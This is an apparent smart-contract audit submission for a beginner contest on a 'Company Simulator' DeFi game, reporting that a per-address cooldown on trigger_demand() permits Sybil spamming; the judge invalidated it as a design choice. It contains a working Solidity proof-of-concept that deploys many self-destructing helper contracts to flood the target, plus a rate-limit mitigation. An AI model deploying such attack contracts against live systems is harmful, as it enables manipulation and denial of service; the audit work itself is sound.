Company Simulator

First Flight #51
Beginner FriendlyDeFi
100 EXP
View results
Submission Details
Impact: medium
Likelihood: high
Invalid

Sybil risk: per-address cooldown allows mass spamming via many addresses

Root + Impact

Description

  • Expected behavior: Demand rate limiting should prevent large-scale spamming or griefing that artificially inflates revenue or manipulates reputation.

  • Actual behavior: The contract uses a per-address COOLDOWN but does not limit per-block, per-origin, or apply any dynamic throttling. An attacker can spin up many addresses and call trigger_demand() repeatedly to simulate massive demand.

Using only per-address cooldown is ineffective against Sybil attacks (many addresses controlled by one actor). This can be used to artificially inflate company revenue, reputation, or drain inventory.

// Root cause in the codebase with @> marks to highlight the relevant section
# Cooldown enforcement
assert (
block.timestamp > self.last_trigger[msg.sender] + COOLDOWN
), "Wait before next demand!!!"
@> self.last_trigger[msg.sender] = block.timestamp

Risk

Likelihood

High — creating multiple accounts is trivial.

Impact

1.Artificial revenue & reputation manipulation.

2.CompanyGame inventory depletion / degraded simulation integrity.

3.Potential denial-of-service on CompanyGame by many rapid sell_to_customer calls.

Proof of Concept

Deploys many tiny helper contracts whose msg.sender values are distinct on-chain.

Each helper calls trigger_demand() in its constructor and then self-destructs, returning leftover ETH to the deployer.

This simulates a Sybil attacker producing many callers in a single block/transaction to bypass per-address cooldown and flood the company with demand (inflate revenue, reputation, or deplete inventory).

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
/// @notice Minimal Sybil PoC: deploy many ephemeral helpers that each call target.trigger_demand().
/// Use on testnets / local only.
interface ICustomerEngine {
function trigger_demand() external payable;
}
contract Helper {
// On creation the helper will call CustomerEngine.trigger_demand() and then selfdestruct.
constructor(address target) payable {
// forward all ETH to trigger_demand
ICustomerEngine(target).trigger_demand{value: msg.value}();
// return leftover if any to tx.origin (the original EOA)
selfdestruct(payable(tx.origin));
}
}
contract SybilAttacker {
address public immutable target;
address public owner;
event HelperDeployed(address helper, uint256 value);
constructor(address _target) {
require(_target != address(0), "invalid target");
target = _target;
owner = msg.sender;
}
/// @notice Deploy `n` helpers, splitting msg.value evenly. Each helper calls trigger_demand().
/// Practical: set n small (e.g., 5-50) depending on network gas limits.
function blast(uint256 n) external payable {
require(n > 0, "n>0");
require(msg.value >= n, "insufficient value"); // at least 1 wei per helper
uint256 per = msg.value / n;
require(per > 0, "per helper value zero");
for (uint256 i = 0; i < n; i++) {
// Deploy helper that calls target.trigger_demand{value: per}() in ctor
Helper h = (new Helper){value: per}(target);
emit HelperDeployed(address(h), per);
// helper selfdestructs and returns leftover to tx.origin
}
}
// Owner can withdraw any dust left in contract
function withdraw() external {
require(msg.sender == owner, "only owner");
payable(owner).transfer(address(this).balance);
}
receive() external payable {}
}

Recommended Mitigation

Consider additional rate-limiting or anti-Sybil mechanisms:

1.Introduce per-block or global rate limits (e.g., max demands per block or per minute).

2.Require small registration cost or staking to be a customer.

3.Implement reputation-weighted demand (higher reputation customers have priority) and cap total demand per time window.


- remove this code
+ add this code
+ # add global counters
+ demands_in_window: public(uint256)
+ window_start: public(uint256)
+ # at top of trigger_demand
+ current_window: uint256 = block.timestamp / WINDOW_LENGTH
+ if current_window > self.window_start:
+ self.window_start = current_window
+ self.demands_in_window = 0
+ assert self.demands_in_window < MAX_WINDOW_DEMANDS, "Global demand cap reached"
+ self.demands_in_window += 1
Updates

Lead Judging Commences

0xshaedyw Lead Judge
5 days ago
0xshaedyw Lead Judge 3 days ago
Submission Judgement Published
Invalidated
Reason: Design choice

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.